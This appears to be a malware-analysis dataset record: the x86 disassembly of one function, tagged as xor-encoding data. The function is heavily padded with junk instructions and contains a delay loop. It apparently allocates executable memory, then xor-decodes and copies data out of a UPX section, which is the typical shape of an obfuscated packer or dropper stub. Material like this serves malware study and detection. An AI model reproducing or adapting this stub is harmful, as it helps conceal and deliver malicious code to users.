Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x7cf87eaf
or esi, edi
and edi, edi
and esi, esi
popal
add esi, edi
not edi
mov eax, 0
mov esi, ecx
add ebx, 0xae447912
sub edx, ebx
mov edi, esi
add edx, 0x99dd137
sub ebx, edx
mov ecx, edi
sub edx, ebx
and edx, ebx
add edx, 0xe1a36cd2
add eax, 1
add ebx, 1
add edx, 0x701c48eb
cmp eax, 0x100fb95
jne 0xa789c2
sub edx, ebx
sub ebx, edx
mov edx, 0xd83ba597
sub edi, 1
not esi
and edi, edi
mov ebx, 0xa78796
dec edi
add edi, 1
mov edx, 0xa7898a
sub eax, 0xd2c08120
sub eax, 0x890bf192
mov esi, dword [ebx]
dec ecx
add ecx, 0x8dc1209f
and esi, 0xff
mov ecx, edi
sub edi, ecx
xor dword [edx], esi
mov ecx, 0xc2bb757a
sub edi, ecx
inc edx
not ecx
or eax, eax
add eax, 0x92d1d48
inc ebx
and eax, edi
mov edi, 0x7b07271
cmp edx, entry0
jl 0xa78a30
not eax
and edi, ecx
add edi, 0x4efc643a
or edi, eax
add ecx, ecx
dec edi
inc ebx
sub esi, 0xf04a8663
dec esi
mov ecx, 0xa7898e
not esi
sub ebx, edx
mov ecx, dword [ecx]
mov edx, 0x1a90a0a8
sub ebx, 0x69aa5f37
or edi, ebx
mov ecx, dword [ecx]
add edx, esi
add edx, edx
sub edi, 0x2fae906b
push ecx
not esi
sub ebx, edi
mov ecx, 0xa7898a
add esi, esi
and edi, edi
add esi, ebx
mov ecx, dword [ecx]
not edx
mov ebx, 0xd5bc0ac9
mov edi, ebx
mov ecx, dword [ecx]
mov ebx, 0xb1b96162
sub edx, 0xdc50f8c0
push 0xa78992
sub ebx, edx
add esi, ebx
call ecx
or ebx, edi
add edi, 1
add ebx, edx
pop ecx
and edi, edx
sub ebx, 1
push 0xa7899f
mov ebx, edx
add esi, edi
push eax
dec edi
sub edi, edx
call ecx
not ebx
add edi, 0xf10e30b0
push 0x40
add edi, 0x6be72cc6
dec esi
push 0x3000
add edx, 0x8c752dd3
or ebx, esi
push 0x200006ad
add edi, edi
and edx, edi
mov esi, ebx
push 0
dec ebx
or ebx, esi
add ebx, 0x494d2b8a
call eax
mov ebx, esi
sub edi, edx
add esi, edx
add eax, 0x2000060d
not esi
not edi
sub esi, edx
mov ecx, 0x6b9871f9
not esi
dec edx
mov dword [eax], ecx
add ebx, edi
sub edx, edi
sub edi, 0xb23b7e3e
mov ecx, dword [eax]
dec esi
add ebx, ebx
cmp ecx, 0x6b9871f9
je 0xa78b71
mov ecx, 0
mov edx, dword [ecx]
not edi
sub ebx, 1
sub esi, 1
sub edi, ebx
and ebx, esi
sub esi, edi
add edi, 0xc21a31f2
sub edi, esi
mov eax, section.UPX1
mov esi, edi
not esi
inc edi
mov edx, 0xa78795
mov edi, 0x5adf22f9
sub esi, 0x27d96152
mov ecx, 0
and esi, edi
and esi, edi
or edi, edi
mov ebx, 0xa78796
sub edi, 0x80d19ea3
mov edi, 0x94e77411
lea ebx, [ecx + ebx]
mov edi, esi
add edi, 0x9816d398
inc edi
mov ebx, dword [ebx]
add edi, esi
or esi, edi
and ebx, 0xff
sub esi, 0x15212a6
add edi, 0x37a2b504
dec esi
add ecx, 1
sub edi, esi
add esi, esi
cmp ecx, 0x1f4
jne 0xa78bfe
mov ecx, 0
mov edi, esi
sub edi, esi
add edi, edi
add edi, esi
add esi, 0xc37dc79c
dec esi
xor dword [eax], ebx
add edi, 0x12992715
add esi, edi
sub edi, 0xfae5d2bb
add eax, 2
and edi, edi
add edi, 0x42429f73
cmp eax, edx
jl 0xa78bb2
add edi, 0x14a2ab64
mov edi, 0xeab027c5
sub esi, edi
mov edi, esi
sub esi, 0x75a8e24c
mov ebx, section.UPX1
sub edx, 0xec52665f
not esi
mov eax, section.UPX1
add edx, esi
add edx, 0xa31add65
mov edi, 0xa78795
and edx, edx
sub esi, edx
mov ecx, 0
and esi, esi
add edx, 0x6c6d20d6
dec esi
mov cl, byte [eax]
and esi, edx
add edx, 0xe336223c
mov edx, 0xee75cee6
mov byte [ebx], cl
sub esi, 0xa07450ea
or esi, esi
inc ebx
add esi, esi
sub esi, 0x908311a6
mov esi, edx
add eax, 2
sub edx, 0xcf1284e8
add esi, 0xef9274b8
mov esi, 0xf82f1442
cmp eax, edi
jle 0xa78c79
sub esi, edx
mov edx, 0x72abd245
sub edi, esi
add esi, 0xdd1e4433
push 0x8dc6a0
sub esi, edi
add esi, 0xee7c9a21
mov edi, 0x9f1a2aad
ret